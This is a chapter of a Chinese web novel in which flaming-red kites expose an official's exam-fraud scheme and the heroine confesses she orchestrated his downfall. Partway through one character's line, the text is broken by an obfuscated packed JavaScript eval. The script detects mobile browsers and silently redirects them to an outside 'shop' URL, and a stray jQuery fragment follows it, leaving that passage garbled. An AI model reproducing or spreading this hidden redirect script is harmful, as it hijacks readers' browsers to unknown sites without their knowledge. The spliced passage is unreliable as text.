36. 31 金挡玉墀,心葬九泉

作品:《玉墀观止

    “大家伙儿快去满庆街瞧啊!”


    清早,大街小巷间回荡着声声呼唤,引得好些平人还未开张自己的铺子便赶向那喧哗地。


    满庆街鲜有商铺林立,位置较偏,俱为各家勋贵们为了躲清闲挑的住宅,平日里是盛京城较为冷清的一条街巷。


    可在秋闱后的第三日,八月十五,本应早早赶去订各街坊酒楼的平人们都马不停蹄奔往那处偏僻大街。


    甚至比前些日子围观三月河的壮景还要盛大,碧空如洗澄澈,往下却是黑压压的一片,如潮水般挤上满庆街,人头攒动,盛况空前。


    所有的人流都停足在一座偌大的府邸前——牌匾上赫然写着“金宅”。


    曾二连杀鱼刀都未放下,就已冲到门前:“王大话还没说完我就赶到这儿了!查出什么事来?”


    周围堆满窃窃私议:“闻说齐家御史与章司谏也在往这儿赶呢,不知是凑热闹还是真闹出了点什么……”


    往后继续赶来的人皆抬首仰视着天空。


    只见湛蓝明净的九霄之上,覆满了密密匝匝的纸鸢,高耸入云,高低错落遮挡住了大片碧空。偏巧是那纸鸢——通体赤红,张牙舞爪,在澄澈的天幕下更显吊诡可怖,上面似是还托着块深色布料。


    顺着视线下移,杂乱无章的牵扯丝线正系于金宅门口两座石兽身。


    威风凛凛的高竖的耳上,尖锐凶猛的利牙上缠满了丝线,如若要将此处作威作福的妖孽捆绑动弹不得。


    “数清没?有几只呢?”


    “眼都给我瞧花了,四十四只!”曾二揉了揉眼,大惊失色,“这姓金的莫不是疯了?!”


    众人哑然一瞬,谁都知道通红纸鸢在大宁意味着什么。


    聚集的人越来越多,熙熙攘攘,声势浩大,终于闹醒了府中安睡的人。


    金阐打了个哈欠,懒懒披衣起身:“今天这外头发生了何事啊,怎得这般喧闹……为何没人告诉我?”


    “大人,您不是最烦有人叫醒您美觉么?”小厮阿满下意识摸上发肿的脸颊。


    金阐皱眉,不耐烦道:“有点眼色行不行?如今这般吵闹我也睡不好啊。”


    “我们府、府外……出事了。”


    阿满低头结结巴巴吐出话来,不敢打量主子神情,恐再挨个巴掌。


    金阐一蹬踹在他胸口上:“妈的,什么事你倒是说啊!”


    瞧着地上畏畏缩缩满眼惊惧的人,他更是怒不可遏,连忙大步迈出门外一探究竟。


    打开门,却见两张熟悉的面孔,一如既往的肃穆神情。


    “终于等到金大人醒了么?”左边齐柏睇了眼他未掩紧的衣领,先声嗤道。


    章迁随之挤了过来,表情冷峻却捎带一丝戏谑:“瞧这睡眼惺忪的模样,怕是还不知晓发生了什么吧。”他说着便侧身给让了条宽道。


    金阐锁紧了眉头,一脸狐疑地扫视着身前人,转眼一看,府外黑压压成片的人也正嬉笑带疑地打量着他。


    向外再迈一步,却觉天空宛若空出硕大一块,向下投射出连片巨大的阴影。他抬头一瞧:双目如铜铃,龇牙咧嘴,鲜艳火红如鲜血淋淋的漫天纸鸢也正狠瞪着自己。


    许是晨时秋风吹拂,后背爬上一层层冷汗,他拢紧了外衣,再顺下一看。


    那纸鸢的丝线,全都绑在了自家府门的两座石狮上,平日里盛气凌人的石兽被团团白线圈缠,落得可怜兮兮的模样。


    他环视一圈,只觉锐利的目光如箭矢簇簇扎来,扎在四肢动弹不得,扎在肺腑上呼吸不畅。


    “二位大人,许是有什么误会吧?”金阐捏紧了拳,调整发僵笑容,转身说道,“我可从未放过这些纸鸢,定是有人装神弄鬼。”


    章迁冷笑:“误会?把那纸鸢牵下来瞧瞧不就知道了么?”


    话音刚落,腿脚麻利的几个小厮便去解开紧系的丝线,将纸鸢一只只拉下。


    “快看快看,好些布拉下来了!”


    “有字,有字!黑的红的都有!”


    不少人凑上前去,又不敢将布条抓来。


    忽地,一片深色飘落下来,迎风落至人群中间,王大个头高,伸手抓住,双眼快速一阅后高喊:


    “这不是今年科考试题么!怎有如此详细的解论!”


    宛若重石砸进湖里,迸溅起巨大水花,又掀圈圈涟漪,喧哗声愈发嘈杂响亮。


    “不会是科举透题舞弊吧!”


    人群中不知谁高声嚷了一句,此话一出如惊雷轰炸,将所有压抑住的琐碎私议轰开,刹那间声浪滔天,惊呼怒吼响彻云霄。


    “金大人,您倒是说说啊!”


    “他不是礼部的官员么,显而易见啊!”


    ……


    金阐呆立在原地,脸上肥肉横堆发红发紫,一直蔓延向脖颈,颈上粗条经络贲张欲裂,手一挥大喝:“尔等刁民何故在此攀诬本官,你们可知不实流言中伤朝廷命官是重罪!”


    刚静默一阵,怎料人群中又有人高举着零碎飘落的布条,声如洪钟:


    “肝胆相照正阳殿,愿为天子将身献。怎叹遇金挡玉墀,一片赤心落九泉。”


    “偷天换地尽为勋贵书功名,空耗万民青丝苦熬花白满鬓。”


    “秋海棠欲盛,问我枕边人,泣下诉愤恨,夫化池边坟。花谢有人怜,谁顾我断肠,京华满豺狼,索我孤妇命。苍天有情问我名,我道白虎贺横行!”


    “可恨妾生貌美靥,害我夫郎下黄泉!”


    ……


    一张张写满血色字迹的布条飘落,在灿阳下散发出狰狞红光,宛若龇牙咧嘴的索命厉鬼。


    直至最后一块沾满血色字迹的布条飘落于人群中央:


    “礼部右侍郎金阐,伙同礼部郎中贺州行,贪污枉法,调换题卷,泄露答案……助长科举舞弊之风气,苍天特托红鸢信使降报人间,还望诸公还天下学子一个公正!”


    人群哑然片刻后,一双双仇恨鄙夷的目光又再度刺来,如雷声响滚滚奔袭,不少儒生混在其中怒吼愤斥:


    “苍天开眼,红鸢乍显,科考不公,还我功名!”


    “今日齐御史与章司谏也在此,请还我们平人一个公正!”


    “将此事彻查!彻查!”


    ……


    人山人海,此起彼伏的高喊声跌宕不绝,如向苍天凛然质问,划破云霄,随着萧萧落叶、悠扬轻风贯满了整个盛京城。


    “彻查!”


    “彻查!”


    群情激愤的呼嚷一遍遍回荡在空中久久不散。


    章迁握着那块写满策论的深色亵裤:“金大人,可否解释一番?”


    齐柏冷笑,随之而言


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379214|198771||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“若是有人存心想要栽赃陷害侍郎,我们定会查出还侍郎一个清白。”


    从满心愤怒到心如死灰,金阐缓缓松开了拳,只觉天旋地转,全身发软几欲跌落在地。


    刑部右侍郎林以旗已然赶到,挡在他身前:“左相知晓此事,特下手令命吾等前来查明迷案,那就劳烦金大人随吾等走一趟了。”


    “大人可要仔细些查,我们两个还等着九月考核拼一把呢。”台谏二人冷睨,对着刑部的人笑谑。


    林以旗看着两位铁骨头回笑:“那是自然,若我不尽责细察,二位大人不也得参上我这一笔么。”


    说罢,他便“恭恭敬敬”将人押走。


    过了一早上,人声才渐渐消弭,却又蔓延至大街小巷,钻入整个盛京城的角角落落。


    “苍天有眼啊,苍天有眼,特许纸鸢传真言。也不知是谁放的那四十四只纸鸢,可真够吓人的!”


    “管他谁放的呢,这叫替天行道!”


    “听说了么,刑部的人将白虎街和满庆街的都拉走了,好像今一下午还把那忠勇侯府的也给缉拿了!”


    ……


    本是中秋佳节,团圆之日,怎料琼楼玉宇中飘来的不再是才子佳人相互唱和,夜幕垂帘间盈满了今早满庆街上的盛况传言。


    万巷喧闹,唯此偏僻的街又归于寂静。


    身着素白襦裙的少女站在金宅门口,目光停凝在那紧闭的幽暗府门,衣袂随着清风飘扬将瘦削身影衬得愈发羸弱,仿佛下一刻就将乘化归去。


    “崔员外,恭喜你。”


    一袭飞鹤纹绯红锦衣,披着鸦青毛氅的高大郎君走来,安然站在她身侧。


    她没应,他不催,就这样静默在门外良久。


    过了许久,她开口,语气却有些沉重:“多谢。”


    赵弥客抱肘问:“你是故意在王阿婆的摊子上做工的么?”


    “是。”


    “你知晓你二位尊长与金阐有嫌隙,故意蹲守引他们相争,而后激贺州行自乱阵脚?”


    “是。”


    “你故意提出在礼部登记来去时刻,好将二人对应号舍与时辰坐死的,对吗?”


    “是。”


    “你是有意引他们用那法子舞弊的对吗?”


    “是。”


    “那三月河里的鱼,是我动了手脚;那纸鸢,是我放的;那流言也是我叫王大传的;今早围聚的人,也是我早早叫人引过去的……”


    “全是我做的。”


    赵弥客笑了一声,转头盯上她耳边艳红绢花,若将那张平淡无澜的乌瞳纵烧出成团火焰。


    “崔员外还真是步步为营。”他笑,“不过,我倒是很想知道——”


    “你为何想置贺州行于死地?”


    闻言,崔迟幸扭头,视线撞上他略带玩味的目光。


    对视上的眼神依旧平静,却陡然露出一丝锋芒。


    她语气很轻,落在簌簌风里又如此分明:“天地不仁,以万物为刍狗。”


    “我偏要告诉苍天厚土,他不仁不义……”


    “我就逆天施道。”


    今夜月圆明亮,玉辉流转,洒在她凄白消瘦的脸上,睫翼似是无力托住这月光而轻颤起来。


    沉默良久,她垂首自嘲般地笑了笑:“但我这般利用人心,是不是很……”